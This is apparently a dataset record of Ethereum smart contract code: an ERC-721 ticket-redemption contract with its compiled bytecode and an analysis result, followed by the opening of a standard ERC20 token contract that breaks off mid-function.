}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4);
}
interface ChromaticPlotInterface {
function getOwnedTokenIds(address owner)
external
view
returns (uint256[] memory);
function getOwnedTokenIdsSegment(
address owner,
uint256 startIndex,
uint256 count
) external view returns (uint256[] memory);
function getTransmutingTokenIds(address owner)
external
view
returns (uint256[] memory);
function getTransmutingTokenIdsSegment(
address owner,
uint256 startIndex,
uint256 count
) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256 balance);
function transmutingBalanceOf(address transmuter)
external
view
returns (uint256 balance);
}
contract PolygonChromaticPlotTicket is IERC721 {
using SafeMath for uint256;
/**
* Event emitted when minting a new NFT. "createdVia" is the index of the Cryptopunk/Autoglyph that was used to mint, or 0 if not applicable.
*/
event Mint(uint256 indexed index, address indexed minter);
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
uint256 public networkId;
mapping(bytes4 => bool) internal supportedInterfaces;
mapping(uint256 => address) public idToOwner;
mapping(uint256 => address) internal idToApproval;
mapping(address => mapping(address => bool)) internal ownerToOperators;
mapping(address => uint256[]) public ownerToIds;
mapping(uint256 => uint256) public idToOwnerIndex;
mapping(uint256 => bool) public redeemed;
string internal nftName = "Polygon Chromatic Plot Ticket";
string internal nftSymbol = "ticket";
uint256 public numTokens = 0;
uint256 public numSales = 0;
address public chromaticPlot;
bool private reentrancyLock = false;
/* Prevent a contract function from being reentrant-called. */
modifier reentrancyGuard() {
if (reentrancyLock) {
revert();
}
reentrancyLock = true;
_;
reentrancyLock = false;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
idToApproval[_tokenId] == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot transfer."
);
_;
}
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot operate."
);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), "Invalid token.");
_;
}
constructor(
address payable _adminAddress,
address _chromaticPlot,
uint256 _networkId
) {
networkId = _networkId;
adminAddress = _adminAddress;
chromaticPlot = _chromaticPlot;
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
}
function getReedamableCount(address _owner)
external
view
returns (uint256)
{
uint256 count = 0;
uint256[] memory ownedTokenIds = ChromaticPlotInterface(chromaticPlot)
.getOwnedTokenIds(_owner);
for (uint256 i = 0; i < ownedTokenIds.length; i++) {
uint256 ownedId = ownedTokenIds[i];
if (!redeemed[ownedId]) {
count += 1;
}
}
uint256[] memory transmutingTokenIds = ChromaticPlotInterface(
chromaticPlot
).getTransmutingTokenIds(_owner);
for (uint256 i = 0; i < transmutingTokenIds.length; i++) {
uint256 transmutingId = transmutingTokenIds[i];
if (!redeemed[transmutingId]) {
count += 1;
}
}
return count;
}
function redeemAll() external reentrancyGuard {
uint256[] memory ownedTokenIds = ChromaticPlotInterface(chromaticPlot)
.getOwnedTokenIds(msg.sender);
for (uint256 i = 0; i < ownedTokenIds.length; i++) {
uint256 ownedId = ownedTokenIds[i];
if (!redeemed[ownedId]) {
_mint(msg.sender, ownedId);
redeemed[ownedId] = true;
}
}
uint256[] memory transmutingTokenIds = ChromaticPlotInterface(
chromaticPlot
).getTransmutingTokenIds(msg.sender);
for (uint256 i = 0; i < transmutingTokenIds.length; i++) {
uint256 transmutingId = transmutingTokenIds[i];
if (!redeemed[transmutingId]) {
_mint(msg.sender, transmutingId);
redeemed[transmutingId] = true;
}
}
}
function redeemOwnedFromIndex(uint256 _startIndex, uint256 _quantity)
external
reentrancyGuard
{
uint256[] memory ownedTokenIds = ChromaticPlotInterface(chromaticPlot)
.getOwnedTokenIdsSegment(msg.sender, _startIndex, _quantity);
for (uint256 i = 0; i < ownedTokenIds.length; i++) {
uint256 ownedId = ownedTokenIds[i];
if (!redeemed[ownedId]) {
_mint(msg.sender, ownedId);
redeemed[ownedId] = true;
}
}
}
function redeemTransmutingFromIndex(uint256 _startIndex, uint256 _quantity)
external
reentrancyGuard
{
uint256[] memory transmutingTokenIds = ChromaticPlotInterface(
chromaticPlot
).getTransmutingTokenIdsSegment(msg.sender, _startIndex, _quantity);
for (uint256 i = 0; i < transmutingTokenIds.length; i++) {
uint256 transmutingId = transmutingTokenIds[i];
if (!redeemed[transmutingId]) {
_mint(msg.sender, transmutingId);
redeemed[transmutingId] = true;
}
}
}
function _mint(address _to, uint256 _id) internal returns (uint256) {
require(_to != address(0), "Cannot mint to 0x0.");
numTokens = numTokens + 1;
_addNFToken(_to, _id);
emit Mint(_id, _to);
emit Transfer(address(0), _to, _id);
return _id;
}
function _addNFToken(address _to, uint256 _tokenId) internal {
idToOwner[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1);
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from, "Incorrect owner.");
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _getOwnerNFTCount(address _owner) internal view returns (uint256) {
return ownerToIds[_owner].length;
}
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Incorrect owner.");
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(
msg.sender,
_from,
_tokenId,
_data
);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
//////////////////////////
//// Enumerable ////
//////////////////////////
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index)
external
view
returns (uint256)
{
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
//////////////////////////
//// Administration ////
//////////////////////////
address payable public adminAddress;
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin.");
_;
}
function setAdmin(address payable _newAdmin) external onlyAdmin {
adminAddress = _newAdmin;
}
//////////////////////////
//// ERC 721 and 165 ////
//////////////////////////
function isContract(address _addr)
internal
view
returns (bool addressCheck)
{
uint256 size;
assembly {
size := extcodesize(_addr)
} // solhint-disable-line
addressCheck = size > 0;
}
function supportsInterface(bytes4 _interfaceID)
external
view
override
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Wrong from address.");
require(_to != address(0), "Cannot send to 0x0.");
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
override
canOperate(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
override
{
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
require(_owner != address(0));
return _getOwnerNFTCount(_owner);
}
function ownerOf(uint256 _tokenId)
external
view
override
returns (address _owner)
{
require(idToOwner[_tokenId] != address(0));
_owner = idToOwner[_tokenId];
}
function getApproved(uint256 _tokenId)
external
view
override
validNFToken(_tokenId)
returns (address)
{
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator)
external
view
override
returns (bool)
{
return ownerToOperators[_owner][_operator];
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
//////////////////////////
//// Metadata ////
//////////////////////////
/**
* @dev Returns a descriptive name for a collection of NFTokens.
* @return _name Representing name.
*/
function name() external view returns (string memory _name) {
_name = nftName;
}
/**
* @dev Returns an abbreviated name for NFTokens.
* @return _symbol Representing symbol.
*/
function symbol() external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806370a08231116100f9578063b88d4fde11610097578063e985e9c511610071578063e985e9c514610383578063f4036cd314610396578063fc6f94681461039e578063feb3d3d6146103a6576101c4565b8063b88d4fde1461034a578063bfc206ed1461035d578063cac83f3f14610370576101c4565b80639025e64c116100d35780639025e64c1461031f57806395d89b411461032757806399aa93c81461032f578063a22cb46514610337576101c4565b806370a08231146102f15780637ed0f1c1146103045780638e499bcf14610317576101c4565b80632f745c5911610166578063543db2c811610140578063543db2c8146102a55780636352211e146102b85780636717d79d146102cb578063704b6c02146102de576101c4565b80632f745c591461026c57806340adac5f1461027f57806342842e0e14610292576101c4565b8063095ea7b3116101a2578063095ea7b31461022757806318160ddd1461023c57806323b872dd146102515780632f4350c214610264576101c4565b806301ffc9a7146101c957806306fdde03146101f2578063081812fc14610207575b600080fd5b6101dc6101d73660046117d9565b6103b9565b6040516101e99190611907565b60405180910390f35b6101fa6103d8565b6040516101e99190611912565b61021a610215366004611811565b61046e565b6040516101e99190611895565b61023a610235366004611700565b6104ca565b005b6102446105ef565b6040516101e99190611a76565b61023a61025f3660046115f5565b6105f5565b61023a610727565b61024461027a366004611700565b61094d565b61024461028d366004611811565b6109a8565b61023a6102a03660046115f5565b6109ba565b6102446102b336600461159a565b6109da565b61021a6102c6366004611811565b610b97565b61023a6102d9366004611829565b610bd4565b61023a6102ec36600461159a565b610d09565b6102446102ff36600461159a565b610d55565b6101dc610312366004611811565b610d79565b610244610d8e565b610244610d94565b6101fa610d9a565b610244610dfb565b61023a6103453660046116cf565b610e01565b61023a610358366004611635565b610e70565b61021a61036b366004611811565b610eb9565b61023a61037e366004611829565b610ed4565b6101dc6103913660046115bd565b610ff6565b61021a611024565b61021a611033565b6102446103b4366004611700565b611042565b6001600160e01b03191660009081526001602052604090205460ff1690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104645780601f1061043957610100808354040283529160200191610464565b820191906000526020600020905b81548152906001019060200180831161044757829003601f168201915b5050505050905090565b60008181526002602052604081205482906001600160a01b03166104ad5760405162461bcd60e51b81526004016104a490611925565b60405180910390fd5b50506000908152600360205260409020546001600160a01b031690565b60008181526002602052604090205481906001600160a01b03163381148061051557506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6105315760405162461bcd60e51b81526004016104a490611972565b60008381526002602052604090205483906001600160a01b03166105675760405162461bcd60e51b81526004016104a490611925565b6000848152600260205260409020546001600160a01b0390811690861681141561059057600080fd5b60008581526003602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b600a5490565b60008181526002602052604090205481906001600160a01b03163381148061063357506000828152600360205260409020546001600160a01b031633145b8061066157506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b61067d5760405162461bcd60e51b81526004016104a49061199b565b60008381526002602052604090205483906001600160a01b03166106b35760405162461bcd60e51b81526004016104a490611925565b6000848152600260205260409020546001600160a01b0390811690871681146106ee5760405162461bcd60e51b81526004016104a4906119c5565b6001600160a01b0386166107145760405162461bcd60e51b81526004016104a490611a1c565b61071e8686611073565b50505050505050565b600c54600160a01b900460ff161561073e57600080fd5b600c805460ff60a01b1916600160a01b1790819055604051634fac7e4160e01b81526000916001600160a01b031690634fac7e4190610781903390600401611895565b60006040518083038186803b15801561079957600080fd5b505afa1580156107ad573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107d5919081019061172b565b905060005b81518110156108455760008282815181106107f157fe5b6020908102919091018101516000818152600790925260409091205490915060ff1661083c5761082133826110ee565b506000818152600760205260409020805460ff191660011790555b506001016107da565b50600c5460405163404a2c1760e01b81526000916001600160a01b03169063404a2c1790610877903390600401611895565b60006040518083038186803b15801561088f57600080fd5b505afa1580156108a3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526108cb919081019061172b565b905060005b815181101561093b5760008282815181106108e757fe5b6020908102919091018101516000818152600790925260409091205490915060ff166109325761091733826110ee565b506000818152600760205260409020805460ff191660011790555b506001016108d0565b5050600c805460ff60a01b1916905550565b6001600160a01b038216600090815260056020526040812054821061097157600080fd5b6001600160a01b038316600090815260056020526040902080548390811061099557fe5b9060005260206000200154905092915050565b60066020526000908152604090205481565b6109d58383836040518060200160405280600081525061119d565b505050565b600c54604051634fac7e4160e01b8152600091829182916001600160a01b031690634fac7e4190610a0f908790600401611895565b60006040518083038186803b158015610a2757600080fd5b505afa158015610a3b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a63919081019061172b565b905060005b8151811015610ab5576000828281518110610a7f57fe5b6020908102919091018101516000818152600790925260409091205490915060ff16610aac576001840193505b50600101610a68565b50600c5460405163404a2c1760e01b81526000916001600160a01b03169063404a2c1790610ae7908890600401611895565b60006040518083038186803b158015610aff57600080fd5b505afa158015610b13573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b3b919081019061172b565b905060005b8151811015610b8d576000828281518110610b5757fe5b6020908102919091018101516000818152600790925260409091205490915060ff16610b84576001850194505b50600101610b40565b5091949350505050565b6000818152600260205260408120546001600160a01b0316610bb857600080fd5b506000908152600260205260409020546001600160a01b031690565b600c54600160a01b900460ff1615610beb57600080fd5b600c805460ff60a01b1916600160a01b179081905560405163ebdcf5bd60e01b81526000916001600160a01b03169063ebdcf5bd90610c32903390879087906004016118e6565b60006040518083038186803b158015610c4a57600080fd5b505afa158015610c5e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610c86919081019061172b565b905060005b8151811015610cf6576000828281518110610ca257fe5b6020908102919091018101516000818152600790925260409091205490915060ff16610ced57610cd233826110ee565b506000818152600760205260409020805460ff191660011790555b50600101610c8b565b5050600c805460ff60a01b191690555050565b600d546001600160a01b03163314610d335760405162461bcd60e51b81526004016104a49061194d565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b038216610d6a57600080fd5b610d7382611373565b92915050565b60076020526000908152604090205460ff1681565b600a5481565b60005481565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104645780601f1061043957610100808354040283529160200191610464565b600b5481565b3360008181526004602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3190610e64908590611907565b60405180910390a35050565b610eb285858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061119d92505050565b5050505050565b6002602052600090815260409020546001600160a01b031681565b600c54600160a01b900460ff1615610eeb57600080fd5b600c805460ff60a01b1916600160a01b1790819055604051631774a5cd60e21b81526000916001600160a01b031690635dd2973490610f32903390879087906004016118e6565b60006040518083038186803b158015610f4a57600080fd5b505afa158015610f5e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f86919081019061172b565b905060005b8151811015610cf6576000828281518110610fa257fe5b6020908102919091018101516000818152600790925260409091205490915060ff16610fed57610fd233826110ee565b506000818152600760205260409020805460ff191660011790555b50600101610f8b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b600c546001600160a01b031681565b600d546001600160a01b031681565b6005602052816000526040600020818154811061105e57600080fd5b90600052602060002001600091509150505481565b6000818152600260205260409020546001600160a01b03166110948261138e565b61109e81836113cb565b6110a88383611515565b81836001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006001600160a01b0383166111165760405162461bcd60e51b81526004016104a490611a49565b600a805460010190556111298383611515565b6040516001600160a01b0384169083907ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010290600090a360405182906001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a450919050565b60008281526002602052604090205482906001600160a01b0316338114806111db57506000828152600360205260409020546001600160a01b031633145b8061120957506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6112255760405162461bcd60e51b81526004016104a49061199b565b60008481526002602052604090205484906001600160a01b031661125b5760405162461bcd60e51b81526004016104a490611925565b6000858152600260205260409020546001600160a01b0390811690881681146112965760405162461bcd60e51b81526004016104a4906119f2565b6001600160a01b0387166112a957600080fd5b6112b38787611073565b6112bc8761157f565b1561136957604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a02906112f69033908d908c908c906004016118a9565b602060405180830381600087803b15801561131057600080fd5b505af1158015611324573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134891906117f5565b90506001600160e01b03198116630a85bd0160e11b1461136757600080fd5b505b5050505050505050565b6001600160a01b031660009081526005602052604090205490565b6000818152600360205260409020546001600160a01b0316156113c857600081815260036020526040902080546001600160a01b03191690555b50565b6000818152600260205260409020546001600160a01b038381169116146114045760405162461bcd60e51b81526004016104a4906119f2565b600081815260026020908152604080832080546001600160a01b031916905560068252808320546001600160a01b0386168452600590925282205490919061144d906001611585565b90508181146114d8576001600160a01b038416600090815260056020526040812080548390811061147a57fe5b906000526020600020015490508060056000876001600160a01b03166001600160a01b0316815260200190815260200160002084815481106114b857fe5b600091825260208083209091019290925591825260069052604090208290555b6001600160a01b03841660009081526005602052604090208054806114f957fe5b6001900381819060005260206000200160009055905550505050565b600081815260026020908152604080832080546001600160a01b0319166001600160a01b03871690811790915580845260058352908320805460018181018355828652938520018590559252905461156c91611585565b6000918252600660205260409091205550565b3b151590565b60008282111561159457600080fd5b50900390565b6000602082840312156115ab578081fd5b81356115b681611a7f565b9392505050565b600080604083850312156115cf578081fd5b82356115da81611a7f565b915060208301356115ea81611a7f565b809150509250929050565b600080600060608486031215611609578081fd5b833561161481611a7f565b9250602084013561162481611a7f565b929592945050506040919091013590565b60008060008060006080868803121561164c578081fd5b853561165781611a7f565b9450602086013561166781611a7f565b935060408601359250606086013567ffffffffffffffff8082111561168a578283fd5b818801915088601f83011261169d578283fd5b8135818111156116ab578384fd5b8960208285010111156116bc578384fd5b9699959850939650602001949392505050565b600080604083850312156116e1578182fd5b82356116ec81611a7f565b9150602083013580151581146115ea578182fd5b60008060408385031215611712578182fd5b823561171d81611a7f565b946020939093013593505050565b6000602080838503121561173d578182fd5b825167ffffffffffffffff80821115611754578384fd5b818501915085601f830112611767578384fd5b81518181111561177357fe5b8381026040518582820101818110858211171561178c57fe5b604052828152858101935084860182860187018a10156117aa578788fd5b8795505b838610156117cc5780518552600195909501949386019386016117ae565b5098975050505050505050565b6000602082840312156117ea578081fd5b81356115b681611a94565b600060208284031215611806578081fd5b81516115b681611a94565b600060208284031215611822578081fd5b5035919050565b6000806040838503121561183b578182fd5b50508035926020909101359150565b60008151808452815b8181101561186f57602081850181015186830182015201611853565b818111156118805782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906118dc9083018461184a565b9695505050505050565b6001600160a01b039390931683526020830191909152604082015260600190565b901515815260200190565b6000602082526115b6602083018461184a565b6020808252600e908201526d24b73b30b634b2103a37b5b2b71760911b604082015260600190565b6020808252600b908201526a27b7363c9030b236b4b71760a91b604082015260600190565b6020808252600f908201526e21b0b73737ba1037b832b930ba329760891b604082015260600190565b60208082526010908201526f21b0b73737ba103a3930b739b332b91760811b604082015260600190565b6020808252601390820152722bb937b73390333937b69030b2323932b9b99760691b604082015260600190565b60208082526010908201526f24b731b7b93932b1ba1037bbb732b91760811b604082015260600190565b60208082526013908201527221b0b73737ba1039b2b732103a3790183c181760691b604082015260600190565b60208082526013908201527221b0b73737ba1036b4b73a103a3790183c181760691b604082015260600190565b90815260200190565b6001600160a01b03811681146113c857600080fd5b6001600160e01b0319811681146113c857600080fdfea2646970667358221220911e4b45f61fa2beb8ad18660b9ded0e7f6db88dd5040ce7d4022ec02e14b03a64736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 4,006 |
0x4de395f25836af345599d7244ed468ec46463f12
|
/**
*Submitted for verification at Etherscan.io on 2021-01-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode
// see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
address private governance;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
governance = tx.origin;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
